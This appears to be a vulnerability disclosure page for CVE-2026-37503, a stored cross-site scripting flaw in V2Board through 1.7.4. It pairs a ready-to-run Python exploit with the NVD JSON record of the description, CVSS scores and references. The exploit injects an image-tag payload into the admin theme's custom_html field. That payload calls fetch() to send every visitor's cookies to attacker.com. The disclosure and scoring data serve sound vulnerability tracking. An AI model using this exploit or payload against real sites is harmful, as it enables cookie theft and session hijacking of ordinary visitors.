CVE-2026-37503

import requests # Target API endpoint url = "https://target-site.com/api/v1/admin/theme/saveConfig" # Malicious XSS Payload # This payload will send the victim's cookies to an external server xss_payload = '<img src=x onerror=fetch(\"https://attacker.com/steal?c=\"+document.cookie)>' # Request headers with Admin Authorization headers = { "Authorization": "Bearer <ADMIN_ACCESS_TOKEN>", "Content-Type": "application/json" } # Payload data to be saved in theme config payload_data = { "custom_html": xss_payload } try: # Send the POST request to inject the payload response = requests.post(url, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Payload injected successfully!") else: print(f"[-] Injection failed with status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-37503", "sourceIdentifier": "[email protected]", "published": "2026-05-01T16:16:30.490", "lastModified": "2026-05-11T19:22:57.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Scripting (XSS) in V2Board thru 1.7.4. The custom_html field in theme configuration is rendered using Blade unescaped output in public/theme/v2board/dashboard.blade.php. An admin can inject arbitrary JavaScript via the saveThemeConfig API. All site visitors execute the payload, enabling cookie theft, session hijacking, or phishing."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:v2board:v2board:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.4", "matchCriteriaId": "5514969D-29B0-4D10-A1F8-11154F0BCAF6"}]}]}], "references": [{"url": "https://gist.github.com/sgInnora/1330e1a82caa79906eec55eeff2c99b9", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/v2board/v2board", "source": "[email protected]", "tags": ["Product"]}]}}